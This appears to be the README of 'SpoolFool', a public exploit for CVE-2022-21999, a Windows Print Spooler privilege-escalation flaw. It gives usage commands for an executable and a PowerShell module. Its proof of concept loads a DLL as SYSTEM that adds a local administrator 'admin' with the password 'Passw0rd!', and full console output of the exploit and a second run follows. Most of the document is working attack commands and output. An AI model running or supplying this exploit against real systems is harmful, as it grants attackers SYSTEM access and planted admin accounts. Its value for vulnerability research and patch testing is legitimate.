
SpoolFool

Exploit for CVE-2022-21999 - Windows Print Spooler Elevation of Privilege Vulnerability (LPE)

Details

The provided exploit should work by default on all Windows desktop versions.

Please see the blog post for full technical details here.

Usage

```
1 PS C:\SpoolFool> .\SpoolFool.exe
2
3 SpoolFool
4   By Oliver Lyak (@ly4k_)
5
6 Examples:
7   C:\SpoolFool\SpoolFool.exe -dll add_user.dll
8   C:\SpoolFool\SpoolFool.exe -dll add_user.dll -printer 'My Printer'
9   C:\SpoolFool\SpoolFool.exe -dll add_user.dll -dir 'SECRET'
10  C:\SpoolFool\SpoolFool.exe -dll add_user.dll -printer 'My Printer' -
    dir 'SECRET'
```

Powershell

```
1 PS C:\SpoolFool> ipmo .\SpoolFool.ps1
2 PS C:\SpoolFool> Invoke-SpoolFool
3
4 SpoolFool
5   By Oliver Lyak (@ly4k_)
6
7 Examples:
8   -dll add_user.dll
9   -dll add_user.dll -printer 'My Printer'
10  -dll add_user.dll -dir 'SECRET'
11  -dll add_user.dll -printer 'My Printer' -dir 'SECRET'
```

Proof of Concept

The following PoC uses a DLL that creates a new local administrator `admin` / `Passw0rd!`. The DLL (`AddUser.dll`) and the source code can be found in this repository.

```
Windows PowerShell (x86)

PS C:\SpoolFool> net user admin
The user name could not be found.

More help is available by typing NET HELPMSG 2221.

PS C:\SpoolFool> .\SpoolFool.exe -dll .\AddUser.dll
[*] Using printer name: Microsoft XPS Document Writer v4
[*] Using driver directory: 4
[*] Using temporary base directory: C:\Users\IEUser\AppData\Local\Temp\239607f1-6237-4538-9f82-2a3de84a480c
[*] Trying to open existing printer: Microsoft XPS Document Writer v4
[*] Opened existing printer: Microsoft XPS Document Writer v4
[*] Setting spool directory to: \\localhost\CS\Users\IEUser\AppData\Local\Temp\239607f1-6237-4538-9f82-2a3de84a480c\4
[*] Successfully set the spool directory to: \\localhost\CS\Users\IEUser\AppData\Local\Temp\239607f1-6237-4538-9f82-2a3de84a480c\4
[*] Creating junction point: C:\Users\IEUser\AppData\Local\Temp\239607f1-6237-4538-9f82-2a3de84a480c -> C:\Windows\system32\spool\DRIVERS\x64
[*] Forcing spooler to restart
[*] Waiting for spooler to restart...
[*] Spooler restarted
[*] Successfully created driver directory: C:\Windows\system32\spool\DRIVERS\x64\4
[*] Copying DLL: .\AddUser.dll -> C:\Windows\system32\spool\DRIVERS\x64\4\AddUser.dll
[*] Granting read and execute to SYSTEM on DLL: C:\Windows\system32\spool\DRIVERS\x64\4\AddUser.dll
[*] Loading DLL as SYSTEM: C:\Windows\system32\spool\DRIVERS\x64\4\AddUser.dll
[*] DLL should be loaded
PS C:\SpoolFool> net user admin
User name                admin
Full Name                 admin
Comment
User's comment
Country/region code      000 (System Default)
Account active            Yes
Account expires           Never

Password last set        2/5/2022 1:53:14 PM
Password expires         Never
Password changeable      2/5/2022 1:53:14 PM
Password required         Yes
User may change password Yes

Workstations allowed     All
Logon script
User profile
Home directory
Last logon               Never

Logon hours allowed      All

Local Group Memberships  *Administrators
Global Group memberships *None
The command completed successfully.

PS C:\SpoolFool>
```

Second run

The following PoC demonstrates a second run of the provided exploit. Notice that the vulnerability is not exploited this time in order to load the DLL.

```
Windows PowerShell (x86)

PS C:\SpoolFool> .\SpoolFool.exe -dll .\AnotherPayload.dll
[*] Using printer name: Microsoft XPS Document Writer v4
[*] Using driver directory: 4
[*] Using temporary base directory: C:\Users\IEUser\AppData\Local\Temp\dac87c98-20ad-48b1-b3a9-2ae4275e2136
[*] Trying to open existing printer: Microsoft XPS Document Writer v4
[*] Opened existing printer: Microsoft XPS Document Writer v4
[*] Target directory already exists
[*] Copying DLL: .\AnotherPayload.dll -> C:\Windows\system32\spool\DRIVERS\x64\4\AnotherPayload.dll
[*] Granting read and execute to SYSTEM on DLL: C:\Windows\system32\spool\DRIVERS\x64\4\AnotherPayload.dll
[*] Loading DLL as SYSTEM: C:\Windows\system32\spool\DRIVERS\x64\4\AnotherPayload.dll
[*] DLL should be loaded
PS C:\SpoolFool>
```

Artifacts

After the exploit has been executed, the following artifacts will be left for later cleanup: - The created printer driver directory is not removed - The payload DLL is copied to the printer driver directory and it is not removed - Any created printer is not removed - The `SpoolDirectory` value of the targeted printer is not restored

Authors

- Oliver Lyak @ly4k_

References

- SpoolFool: Windows Print Spooler Privilege Escalation (CVE-2022-21999)